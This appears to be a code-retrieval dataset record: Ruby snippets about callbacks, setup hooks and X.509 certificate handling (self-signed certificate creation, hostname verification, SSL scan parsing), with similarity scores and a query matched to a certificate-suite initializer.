"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def before_action \n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def after_set_callback; end",
"def initialize(*args)\n super\n @action = :set\nend",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def setup(&blk)\n @setup_block = blk\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def duas1(action)\n action.call\n action.call\nend",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def call\n setup_context\n super\n end"
] | [
"0.61642385",
"0.60448",
"0.5945487",
"0.5915654",
"0.58890367",
"0.58330417",
"0.5776098",
"0.5703048",
"0.5703048",
"0.5654613",
"0.5620029",
"0.5423114",
"0.540998",
"0.540998",
"0.540998",
"0.5393666",
"0.53783023",
"0.53568405",
"0.53391176",
"0.5339061",
"0.53310865",
"0.5312988",
"0.529798",
"0.52968603",
"0.52962637",
"0.52577317",
"0.5244704",
"0.5236856",
"0.5236856",
"0.5236856",
"0.5236856",
"0.5236856",
"0.5233461",
"0.52322435",
"0.5227552",
"0.52224743",
"0.5217851",
"0.521241",
"0.52069896",
"0.5206555",
"0.5176617",
"0.51738507",
"0.51725876",
"0.51660734",
"0.51605034",
"0.51571786",
"0.5152762",
"0.5152164",
"0.5151477",
"0.5145819",
"0.51408994",
"0.5134412",
"0.5114031",
"0.5113695",
"0.5113695",
"0.5108603",
"0.5107358",
"0.5090405",
"0.50889385",
"0.50817686",
"0.5081617",
"0.50658226",
"0.50551206",
"0.5051746",
"0.5049091",
"0.5049091",
"0.5034681",
"0.5024972",
"0.5021291",
"0.5016024",
"0.50134826",
"0.50008893",
"0.50000244",
"0.4999155",
"0.49907947",
"0.49907947",
"0.49853387",
"0.49796683",
"0.4979596",
"0.49778128",
"0.49673793",
"0.49662578",
"0.49587822",
"0.4956063",
"0.49550167",
"0.49523485",
"0.4951614",
"0.49452996",
"0.49442068",
"0.49336892",
"0.49306205",
"0.49264124",
"0.49259305",
"0.4925823",
"0.49229056",
"0.4918999",
"0.49171805",
"0.49167436",
"0.4916559",
"0.49153692",
"0.49148256"
] | 0.0 | -1 |
certinfos should be a hashlike where each entry describes a certificate. defaulthostname should be a string that will be inserted into %HOSTNAME% in certificate subject lines. | def initialize(certinfos, defaulthostname, config={})
@config = config
@defaulthostname = defaulthostname
@parenthostname = defaulthostname.sub(/^[\w-]+\./, '') # remove left-most label
@certinfos = certinfos
@certificates = {}
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def handle_subject_alternative_names(cert, factory, alt_names)\n fail 'alt_names must be an Array' unless alt_names.is_a?(Array)\n\n name_list = alt_names.map { |m| \"DNS:#{m}\" }.join(',')\n ext = factory.create_ext('subjectAltName', name_list, false)\n cert.add_extension(ext)\n end",
"def parse_cert(cert)\n domains_to_add = []\n san_extension = nil\n parsed_cert = OpenSSL::X509::Certificate.new(cert)\n parsed_cert.extensions.each { |extension|\n if (extension.oid == 'subjectAltName') then\n domains_to_add = parse_san_extension(extension)\n end\n }\n {:subject => parsed_cert.subject, :subjectAltName => domains_to_add}\n end",
"def tls_hostname=(_arg0); end",
"def collect_cert_info\n # Redirect keytool check error to /dev/null\n os_has_keytool = system('keytool 2>/dev/null')\n raise 'keytool dependency not satisfied. Make sure that JAVA keytool utility is installed' unless os_has_keytool\n cert_info = {}\n certificate_raw = `keytool -printcert -rfc -jarfile #{@apk_path.shellescape}`\n certificate_content_regexp = /(-----BEGIN CERTIFICATE-----.*-----END CERTIFICATE-----)/m\n matched_data = certificate_content_regexp.match(certificate_raw)\n if matched_data\n certificate_content = matched_data.captures[0]\n cert_info = {\n issuer_raw: nil,\n cn: nil,\n ou: nil,\n o: nil,\n st: nil,\n l: nil,\n c: nil,\n creation_date: nil,\n expiration_date: nil\n }\n cert_extract_dates(certificate_content, cert_info)\n cert_extract_issuer(certificate_content, cert_info)\n else\n puts 'Failed to find CERT.RSA file in APK'\n end\n cert_info\n end",
"def cert_content; end",
"def epoc_cert_info cert, plat\n this_dir = File.dirname(File.expand_path(__FILE__))\n caps = case plat\n when /_3[01]_/\n SELF30_CAPS\n else\n SELF32_CAPS\n end\n args = [File.join(this_dir, \"selfsigned.key\"),\n File.join(this_dir, \"selfsigned.cer\"),\n nil,\n caps]\n EpocLocalRb::CertInfo.new(*args)\nend",
"def verify_certificate_identity_without_hack(cert, hostname)\n should_verify_common_name = true\n cert.extensions.each{|ext|\n next if ext.oid != \"subjectAltName\"\n ext.value.split(/,\\s+/).each{|general_name|\n if /\\ADNS:(.*)/ =~ general_name\n should_verify_common_name = false\n reg = Regexp.escape($1).gsub(/\\\\\\*/, \"[^.]+\")\n return true if /\\A#{reg}\\z/i =~ hostname\n elsif /\\AIP Address:(.*)/ =~ general_name\n should_verify_common_name = false\n return true if $1 == hostname\n end\n }\n }\n if should_verify_common_name\n cert.subject.to_a.each{|oid, value|\n if oid == \"CN\"\n reg = Regexp.escape(value).gsub(/\\\\\\*/, \"[^.]+\")\n return true if /\\A#{reg}\\z/i =~ hostname\n end\n }\n end\n return false\n end",
"def facts_for_node(certnames)\n return {} if certnames.empty? || certnames.nil?\n\n certnames.uniq!\n name_query = certnames.map { |c| [\"=\", \"certname\", c] }\n name_query.insert(0, \"or\")\n\n @logger.debug(\"Querying certnames\")\n result = make_query(name_query, 'inventory')\n\n result&.each_with_object({}) do |node, coll|\n coll[node['certname']] = node['facts']\n end\n end",
"def set_certificate_entry(aliaz, certificate)\n\n end",
"def parse_file(doc)\n address = doc[0]['ip'] + ':' + doc[0]['port']\n @host_results[address] = Hash.new\n \n\n\n #testSSL JSON files are an array of elements, it's nicer for this to be able to key off a hash of the id\n results = Hash.new\n doc.each {|element| results[element['id']] = element}\n\n #Get a list of the valid hostnames for the Certificat\n sans = results['san']['finding']\n sans.slice!('subjectAltName (SAN) : ')\n host_names = Array.new\n host_names << sans.split(' ')\n host_names << address.split('/')[0]\n\n @host_results[address]['port'] = results['service']['port']\n\n #Self Signed Certificate Checks\n if results['chain_of_trust']['finding'].downcase =~ /self signed/\n @host_results[address]['self_signed'] = true\n else\n @host_results[address]['self_signed'] = false\n end\n\n #Untrusted Issuer\n if results['chain_of_trust']['finding'].downcase =~ /all certificate trust checks failed/\n @host_results[address]['untrusted_issuer'] = true\n else\n @host_results[address]['untrusted_issuer'] = false\n end\n\n #Hostname Mismatch\n #if results['cn']['finding'].downcase =~ /(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\\.?/\n # hostname = results['cn']['finding'].slice(/(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\\.?/)\n # unless host_names.eql?(hostname)\n # @host_results[address]['hostname_mismatch'] = true\n # else\n # @host_results[address]['hostname_mismatch'] = false\n # end\n #end\n\n @host_results[address]['hostname_mismatch'] = \"Manual check needed\"\n @host_results[address]['cert_no_www'] = \"Manual check needed\"\n #Cert No WWW\n #if results['trust']['finding'].downcase =~ //\n # @host_results[address]['cert_no_www'] = true\n #else\n # @host_results[address]['cert_no_www'] = false\n #end\n\n #Expiration\n if results['expiration']['severity'] != \"OK\"\n @host_results[address]['expired_cert'] = true\n else\n @host_results[address]['expired_cert'] = false\n end\n\n #About to expire \n if results['expiration']['severity'] != \"OK\"\n @host_results[address]['cert_expiring_soon'] = true\n else\n @host_results[address]['cert_expiring_soon'] = false\n end\n\n #Wildcard Cert\n if results['cn']['finding'].downcase =~ /wildcard/\n @host_results[address]['wildcard_cert'] = true\n else\n @host_results[address]['wildcard_cert'] = false\n end\n\n\n #Public Key Size INFO is passed for 2048 bit key\n if results['key_size']['severity'] == \"INFO\" \n @host_results[address]['public_key_size'] = false\n else\n @host_results[address]['public_key_size'] = true\n end\n\n #SHA-1 Signed\n if results['algorithm']['finding'].downcase =~ /sha1/\n @host_results[address]['sha1_signed'] = true\n else\n @host_results[address]['sha1_signed'] = false\n end\n\n #Anonymous Ciphers\n if results['std_aNULL']['severity'] == \"OK\" && \n results['std_ADH']['severity'] == \"OK\"\n @host_results[address]['anonymous_ciphers'] = false\n else\n @host_results[address]['anonymous_ciphers'] = true\n end\n\n #Weak Ciphers\n if results['std_LOW']['severity'] == \"OK\" &&\n results['std_DES']['severity'] == \"OK\" && \n results['std_MEDIUM']['severity'] == \"OK\" && \n results['std_3DES']['severity'] == \"OK\"\n @host_results[address]['weak_ciphers'] = false\n else\n @host_results[address]['weak_ciphers'] = true\n end\n\n #RC4 Ciphers\n if results['rc4']['severity'] == \"OK\"\n @host_results[address]['rc4_ciphers'] = false\n else\n @host_results[address]['rc4_ciphers'] = true\n end\n\n #Weak Diffie Hellman\n if results['logjam']['severity'] == \"OK\"\n @host_results[address]['weak_dh'] = false\n else\n @host_results[address]['weak_dh'] = true\n end\n\n #Weak RSA\n if results['freak']['severity'] == \"OK\"\n @host_results[address]['weak_rsa'] = false\n else\n @host_results[address]['weak_rsa'] = true\n end\n\n #No PFS\n if results['pfs']['severity'] == \"OK\"\n @host_results[address]['no_pfs'] = false\n else\n @host_results[address]['no_pfs'] = true\n end\n\n #SSLv2\n if results['sslv2']['severity'] == \"OK\"\n @host_results[address]['sslv2_supported'] = false\n else\n @host_results[address]['sslv2_supported'] = true\n end\n\n #SSLv3\n if results['sslv3']['severity'] == \"OK\"\n @host_results[address]['sslv3_supported'] = false\n else\n @host_results[address]['sslv3_supported'] = true\n end\n\n #TLSv1 (there should be a better way to check this)\n if results['tls1']['severity'] == \"INFO\" &&\n (results['tls1_1']['severity'] != \"INFO\" &&\n results['tls1_2']['severity'] !=\"OK\")\n @host_results[address]['no_tls_v1_1_2'] = true\n else\n @host_results[address]['no_tls_v1_1_2'] = false\n end\n\n #Client Renegotation\n if results['sec_client_renego']['severity'] == \"OK\"\n @host_results[address]['client_renegotiation'] = false\n else\n @host_results[address]['client_renegotiation'] = true\n end\n\n if results['secure_renego']['severity'] == \"OK\"\n @host_results[address]['insecure_renegotiation'] = false\n else\n @host_results[address]['insecure_renegotiation'] = true\n end\n\n #Need to wrap this as not all output has this issue present in the file.\n begin\n if results['breach']['severity'] == \"OK\"\n @host_results[address]['compression'] = false\n else\n @host_results[address]['compression'] = true\n end\n rescue NoMethodError\n @host_results[address]['compression'] = false\n end\n\n if results['ccs']['severity'] == \"OK\"\n @host_results[address]['ccs_vuln'] = false\n else\n @host_results[address]['ccs_vuln'] = true\n end\n\n if results['beast']['severity'] == \"OK\"\n @host_results[address]['beast'] = false\n else\n @host_results[address]['beast'] = true\n end\n\n end",
"def certificate_path\n\t\t\tFile.join(@root, \"#{@hostname}.crt\")\n\t\tend",
"def certification_name=(value)\n @certification_name = value\n end",
"def make_certs(config, verbose=false)\n FileUtils.mkdir_p config['certmaker']['outdir'], :verbose => verbose\n\n certs = CertificateSuiteGenerator.new(config['certs'], config['hostname'], config['certmaker']).certificates\n\n certs.each do |calias, ck|\n File.open(File.join(config['certmaker']['outdir'],calias+\"cert.pem\"),\"wb\") { |f| f.write ck[:cert] }\n File.open(File.join(config['certmaker']['outdir'],calias+\"key.pem\"),\"wb\") { |f| f.write ck[:key] }\n end\n\n end",
"def servers_with_fact(factname)\n servers = {}\n response = fact_request('facts', factname)\n response.each do |r|\n hostname = r['certname']\n factname = r['value']\n servers[hostname] = factname\n end\n\n servers\nend",
"def external_fqdn() ; info[:external_fqdn] ; end",
"def post_connection_check(peer_cert, hostname)\n check_common_name = true\n cert = peer_cert\n cert.extensions.each{|ext|\n next if ext.oid != \"subjectAltName\"\n ext.value.split(/,\\s+/).each{|general_name|\n if /\\ADNS:(.*)/ =~ general_name\n check_common_name = false\n reg = Regexp.escape($1).gsub(/\\\\\\*/, \"[^.]+\")\n return true if /\\A#{reg}\\z/i =~ hostname\n elsif /\\AIP Address:(.*)/ =~ general_name\n check_common_name = false\n return true if $1 == hostname\n end\n }\n }\n if check_common_name\n cert.subject.to_a.each{|oid, value|\n if oid == \"CN\"\n reg = Regexp.escape(value).gsub(/\\\\\\*/, \"[^.]+\")\n return true if /\\A#{reg}\\z/i =~ hostname\n end\n }\n end\n raise OpenSSL::SSL::SSLError, \"hostname not match\"\n end",
"def create_self_signed_cert(bits, cn, aliases, comment)\n rsa = OpenSSL::PKey::RSA.new(bits)\n cert = OpenSSL::X509::Certificate.new\n cert.version = 2\n cert.serial = Time.now.to_i % (1 << 20)\n name = OpenSSL::X509::Name.new(cn)\n cert.subject = name\n cert.issuer = name\n cert.not_before = Time.now\n cert.not_after = Time.now + (365 * 24 * 60 * 60)\n cert.public_key = rsa.public_key\n\n ef = OpenSSL::X509::ExtensionFactory.new(nil, cert)\n ef.issuer_certificate = cert\n cert.extensions = [\n ef.create_extension('basicConstraints', 'CA:FALSE'),\n ef.create_extension('keyUsage', 'keyEncipherment'),\n ef.create_extension('subjectKeyIdentifier', 'hash'),\n ef.create_extension('extendedKeyUsage', 'serverAuth'),\n ef.create_extension('nsComment', comment)\n ]\n aki = ef.create_extension('authorityKeyIdentifier',\n 'keyid:always,issuer:always')\n cert.add_extension(aki)\n cert.add_extension ef.create_extension('subjectAltName', aliases.map { |d| \"DNS: #{d}\" }.join(','))\n\n cert.sign(rsa, OpenSSL::Digest.new('SHA256'))\n\n [cert, rsa]\n end",
"def tls_hostname; end",
"def cert=(cert); end",
"def add_certificates(cert_names,created_by_id)\r\n JobSeekerCertificate.delete_all(\"job_seeker_id = '#{self.id}'\")\r\n for cert in cert_names\r\n cert_obj = Certificate.find_by_name(cert.strip)\r\n if cert_obj.nil?\r\n cert_obj = Certificate.new({:name=>cert,:created_by=>created_by_id,:user_type=>\"JobSeeker\"})\r\n end\r\n self.certificates << cert_obj\r\n end\r\n end",
"def build_hostname\n hostname\n end",
"def initialize(comname)\n tcp_client = TCPSocket.new(comname, 443)\n ssl_client = OpenSSL::SSL::SSLSocket.new(tcp_client)\n ssl_client.hostname = comname\n ssl_client.connect\n cert = OpenSSL::X509::Certificate.new(ssl_client.peer_cert)\n ssl_client.sysclose\n tcp_client.close\n \n certgoods = OpenSSL::X509::Name.new(cert.issuer).to_a\n issuer = certgoods.select { |name, data, type| name == \"O\" }.first[1]\n @results = { \n valid_on: cert.not_before,\n valid_until: cert.not_after,\n issuer: issuer\n }\n end",
"def certificate_list\n certificates = self.certs #[0].certificate.name\n list = certificates.collect! {|x| x.certificate.name + \"; \" }\n list.join()\n end",
"def pass_two()\n lines = get_cert_lines\n lines.sort!\n lines.each do |line|\n # Split the line using a doulbe quote. This is needed to ensure that file names with spaces work\n items = line.split('\"')\n \n # Get the oid string which is the first item in the array.\n oid_str = items.shift\n oid_str.gsub!(/\\s/, '')\n \n # For each line in the evroot.config there may be multiple certs for a single oid string.\n # This is supported by adding an array in the EVRoots.plist\n index = 0\n cmd_str = @plistbuddy_tool_path + \" -c \" + '\"' + \"add :#{oid_str} array\" + '\"' + \" \" + @evroots_plist_path\n `#{cmd_str}`\n Utilities.bail(\"#{cmd_str} failed\") if $? != 0\n \n # Loop through all of the cert file names in the line. \n items.each do |cert_file|\n # Get the full path to the cert file.\n next if cert_file.empty? || cert_file == \" \"\n cert_file.gsub!(/\\\"/, '')\n cert_to_hash = File.join(CertTools.root_certs_dir, cert_file) \n Utilities.bail(\"#{cert_to_hash} does not exist\") if !FileTest.exists?(cert_to_hash)\n \n # Use the openssl command line tool (yuck!) to get the fingerprint of the certificate\n cmd_str = @open_ssl_tool_path + \" x509 -inform DER -in \" + Utilities.quote_str(cert_to_hash) + \" -fingerprint -noout\"\n finger_print = `#{cmd_str}`\n Utilities.bail(\"#{cmd_str} failed\") if $? != 0\n \n # Post process the data from the openssl tool to get just the hex hash fingerprint.\n finger_print.gsub!(/SHA1 Fingerprint=/, '')\n finger_print.gsub!(/:/,'').chomp!\n puts \"Certificate fingerprint for #{cert_file} SHA1: #{finger_print}\" if @verbose\n \n # Convert the hex hash string to binary data and write that data out to a temp file\n binary_finger_print = Utilities.hex_to_bin(finger_print)\n FileUtils.rm_f \"/tmp/certsha1hashtmp\"\n File.open(\"/tmp/certsha1hashtmp\", \"w\") { |f| f.write binary_finger_print }\n\n # Use the PlistBuddy tool to add the binary data to the EVRoots.plist array for the oid \n cmd_str = @plistbuddy_tool_path + \" -c \" + '\"' + \"add :#{oid_str}:#{index} data\" + '\"' + \" -c \" + '\"' +\n \"import :#{oid_str}:#{index} \" + \"/tmp/certsha1hashtmp\" + '\"' + \" \" + @evroots_plist_path\n `#{cmd_str}`\n Utilities.bail(\"#{cmd_str} failed\") if $? != 0\n\n # Verify the hash value by using the PListbuddy tool to read back in the binary hash data\n cmd_str = @plistbuddy_tool_path + \" -c \" + '\"' + \"print :#{oid_str}:#{index} data\" + '\" ' + @evroots_plist_path\n file_binary_finger_print = `#{cmd_str}`\n Utilities.bail(\"#{cmd_str} failed\") if $? != 0\n file_binary_finger_print.chomp!\n\n # Convert the binary data into hex data to make comparision easier\n hex_finger_print = Utilities.bin_to_hex(binary_finger_print)\n hex_file_finger_print = Utilities.bin_to_hex(file_binary_finger_print)\n \n # Compare the two hex strings to ensure the all is well\n if hex_finger_print != hex_file_finger_print\n puts \"### BUILD FAILED: data verification error\"\n puts \"You likely need to install a newer version of #{@plistbuddy_tool_path} see <rdar://6208924> for details\"\n CertTools.restoreKeychainList\n FileUtils.rm_f @evroots_plist_path\n exit 1\n end \n \n # All is well prepare for the next item to add to the array\n index += 1\n \n end # items.each do |cert_file|\n end # lines.each do |line| \n end",
"def meta_Certificate(entity, data)\n out = ''\n data.each_line do |line|\n fields = line.split(': ')\n unless fields.length != 2\n key = fields[0].strip.gsub ' ', '_'\n value = fields[1].strip.gsub '\"', ''\n\n out << skb_says(entity.app.id, \"hasCertificate#{key}\", value)\n end\n end\n out\n end",
"def post_connection_check(peer_cert, hostname) # :nodoc:\n check_common_name = true\n cert = peer_cert\n cert.extensions.each{|ext|\n next if ext.oid != \"subjectAltName\"\n ext.value.split(/,\\s+/).each{|general_name|\n if /\\ADNS:(.*)/ =~ general_name\n check_common_name = false\n reg = Regexp.escape($1).gsub(/\\\\\\*/, \"[^.]+\")\n return true if /\\A#{reg}\\z/i =~ hostname\n elsif /\\AIP Address:(.*)/ =~ general_name\n check_common_name = false\n return true if $1 == hostname\n end\n }\n }\n if check_common_name\n cert.subject.to_a.each{|oid, value|\n if oid == \"CN\"\n reg = Regexp.escape(value).gsub(/\\\\\\*/, \"[^.]+\")\n return true if /\\A#{reg}\\z/i =~ hostname\n end\n }\n end\n raise SSL::SSLError, \"hostname was not match with the server certificate\"\n end",
"def encode_hostname(hostname); end",
"def certification_name\n return @certification_name\n end",
"def facts_for_node(certnames)\n return {} if certnames.empty? || certnames.nil?\n\n certnames.uniq!\n name_query = certnames.map { |c| [\"=\", \"certname\", c] }\n name_query.insert(0, \"or\")\n result = make_query(name_query, 'inventory')\n\n result&.each_with_object({}) do |node, coll|\n coll[node['certname']] = node['facts']\n end\n end",
"def certificate(common_name, pfx_file, key_type, password, optionals = {})\n command = []\n command << @adt_path\n command << \"-certificate\"\n command << \"-cn #{common_name}\"\n command << \"-ou #{optionals[:org_unit]}\" if !optionals[:org_unit].blank?\n command << \"-o #{optionals[:org]}\" if !optionals[:org].blank?\n command << \"-c #{optionals[:country]}\" if !optionals[:country].blank?\n command << key_type\n command << escape(pfx_file)\n command << password\n process(command)\n end",
"def distrust_certs()\n process_certs(\"Explicitly distrusting certs\", CertTools.distrusted_certs_dir)\n end",
"def get_certificate_alias(certificate)\n\n end",
"def create_certificate(domain_name)\n token = Digest::MD5.hexdigest(domain_name)\n response = $acm.request_certificate(\n domain_name: \"*.#{domain_name}\", \n validation_method:\"DNS\", \n subject_alternative_names: [domain_name], \n idempotency_token: token\n ) \n cert_data = $acm.describe_certificate certificate_arn: response.certificate_arn\n\n cname_records = cert_data.certificate.domain_validation_options.map do |rec|\n OpenStruct.new(name: rec.resource_record.name, value: rec.resource_record.value)\n end\n\n cname_records.uniq\nend",
"def certificate_for\n @certificate_for || :default\n end",
"def cert; end",
"def cert; end",
"def cert; end",
"def cert_path=(_arg0); end",
"def determine_hostname\n @info[:hostname] = @shell.query('HOST', 'hostname')\n end",
"def common_name\n subject = %x{echo \"#{self.certificate}\" | openssl x509 -noout -subject}\n subject.gsub(/^(.*)CN=/, '').strip\n end",
"def certificate_subject\n return \"CN=#{project.package_name}\" unless signing_identity\n\n store = machine_store? ? \"LocalMachine\" : \"CurrentUser\"\n cmd = [].tap do |arr|\n arr << \"powershell.exe\"\n arr << \"-ExecutionPolicy Bypass\"\n arr << \"-NoProfile\"\n arr << \"-Command (Get-Item Cert:/#{store}/#{cert_store_name}/#{thumbprint}).Subject\"\n end.join(\" \")\n\n shellout!(cmd).stdout.strip\n end",
"def run\n _log \"Enriching... SSL Certificate: #{_get_entity_name}\"\n\n not_before = _get_entity_detail(\"not_before\")\n # not before aug 31 \n # today aug 20\n if not_before && Time.parse(not_before) > Time.now\n _log \"Creating issue for certificate that is not yet valid\"\n _create_linked_issue \"invalid_certificate_premature\"\n end\n\n not_after = _get_entity_detail(\"not_after\")\n # not after aug 31 \n # today aug 20\n if not_after && Time.parse(not_after) < Time.now\n _log \"Creating issue for expired certificate\"\n _create_linked_issue \"invalid_certificate_expired\"\n end\n\n thirty_days = 2592000\n ## not afere Aug 31\n ## not afeer - 30 days = July 31\n ## Time.now = Aug 20\n ## Time.now - 30 days = July 20\n if not_after && \n !(Time.parse(not_after) < Time.now) && # expired\n (Time.parse(not_after) - thirty_days) < Time.now # expires in 30 days\n \n _log \"Creating issue for almost expired certificate\"\n _create_linked_issue \"invalid_certificate_almost_expired\"\n end\n\n # https://www.globalsign.com/en/blog/moving-from-sha-1-to-sha-256\n algo = _get_entity_detail(\"algorithm\")\n if algo && (algo == \"SHA1\" || algo == \"MD5\")\n _log \"Creating issue for certificate with invalid algorithm\"\n _create_linked_issue \"invalid_certificate_algorithm\"\n end\n\n end",
"def process_cert_value(cert_value)\n cert = \"-----BEGIN CERTIFICATE-----\\n\"\n cert += cert_value.to_s.gsub(/\\s+/, \"\").scan(/.{1,64}/).join(\"\\n\")\n cert += \"\\n\"\n cert += \"-----END CERTIFICATE-----\"\n end",
"def keycerts; end",
"def cert_pem; end",
"def create_self_signed_cert(bits, cn, comment)\n\trsa = OpenSSL::PKey::RSA.new(bits){|p,n|\n\t\tcase p\n\t\twhen 0; $stderr.putc \".\" # BN_generate_prime\n\t\twhen 1; $stderr.putc \"+\" # BN_generate_prime\n\t\twhen 2; $stderr.putc \"*\" # search good prime,\n\t\t\t# n = #of try,\n\t\t\t# data came from BN_generate_prime too\n\t\twhen 3; $stderr.putc \"\\n\" # found good prime, n == 0 - p, n == 1 - q,\n\t\t\t# data came from BN_generate_prime too\n\t\telse; $stderr.putc \"*\" # BN_generate_prime\n\t\tend\n\t}\n\tcert = OpenSSL::X509::Certificate.new\n\tcert.version = 2\n\tcert.serial = 1\n\tname = OpenSSL::X509::Name.new(cn)\n\tcert.subject = name\n\tcert.issuer = name\n\tcert.not_before = Time.now\n\tcert.not_after = Time.now + (365 * 24 * 60 * 60)\n\tcert.public_key = rsa.public_key\n\n\tef = OpenSSL::X509::ExtensionFactory.new(nil, cert)\n\tef.issuer_certificate = cert\n\tcert.extensions = [\n\t\tef.create_extension('basicConstraints', 'CA:FALSE'),\n\t\tef.create_extension('keyUsage', 'keyEncipherment'),\n\t\tef.create_extension('subjectKeyIdentifier', 'hash'),\n\t\tef.create_extension('extendedKeyUsage', 'serverAuth'),\n\t\tef.create_extension('nsComment', comment),\n\t]\n\taki = ef.create_extension('authorityKeyIdentifier', 'keyid:always, issuer:always')\n\tcert.add_extension(aki)\n\tcert.sign(rsa, OpenSSL::Digest::SHA1.new)\n\n\treturn [ cert, rsa ]\nend",
"def format_cert(cert)\n cert = cert.to_s\n cert = cert.split('-----BEGIN CERTIFICATE-----')[1]\n cert = cert.split('-----END CERTIFICATE-----')[0]\n cert.gsub!(/\\s+/, \"\")\n end",
"def create_self_signed_cert(bits, cn, comment)\n rsa = OpenSSL::PKey::RSA.new(bits)\n cert = OpenSSL::X509::Certificate.new\n cert.version = 2\n cert.serial = 1\n name = OpenSSL::X509::Name.new(cn)\n cert.subject = name\n cert.issuer = name\n cert.not_before = Time.now\n cert.not_after = Time.now + (365*24*60*60)\n cert.public_key = rsa.public_key\n cert.sign(rsa, OpenSSL::Digest::SHA1.new)\n return [cert, rsa]\nend",
"def server_cert_from_spec(spec)\n if spec[:server_certificate]\n spec[:server_certificate]\n elsif spec[:ssl_certificate_id]\n spec[:ssl_certificate_id]\n else\n nil\n end\n end",
"def create_leaf_certificate(info = {})\n root_ca = info[:ca]\n root_key = info[:ca_key]\n\n key = OpenSSL::PKey::RSA.new(RSA_KEY_SIZE)\n\n cert = create_certificate_skeleton(info)\n cert.issuer = root_ca.subject # root CA is the issuer\n cert.public_key = key.public_key\n\n extensions = [\n ['keyUsage', 'digitalSignature', true],\n ['subjectKeyIdentifier', 'hash', false],\n AUTHORITY_INFO_ACCESS_EXTENSION,\n ['authorityKeyIdentifier', 'keyid:always', false],\n ]\n\n unless info[:no_policies]\n extensions << [\n 'certificatePolicies',\n IdentityConfig.store.required_policies.first,\n false,\n ]\n end\n\n if info[:policy_constraints]\n extensions << [\n 'policyConstraints',\n info[:policy_constraints].to_a.map { |kv| kv.join(':') }.join(','),\n true,\n ]\n end\n\n if info[:policy_mapping]\n extensions << [\n 'policyMappings',\n info[:policy_mapping].to_a.map { |kv| kv.join(':') }.join(','),\n true,\n ]\n end\n\n add_certificate_extensions(cert, root_ca, *extensions)\n cert.sign(root_key, OpenSSL::Digest::SHA256.new)\n cert\n end",
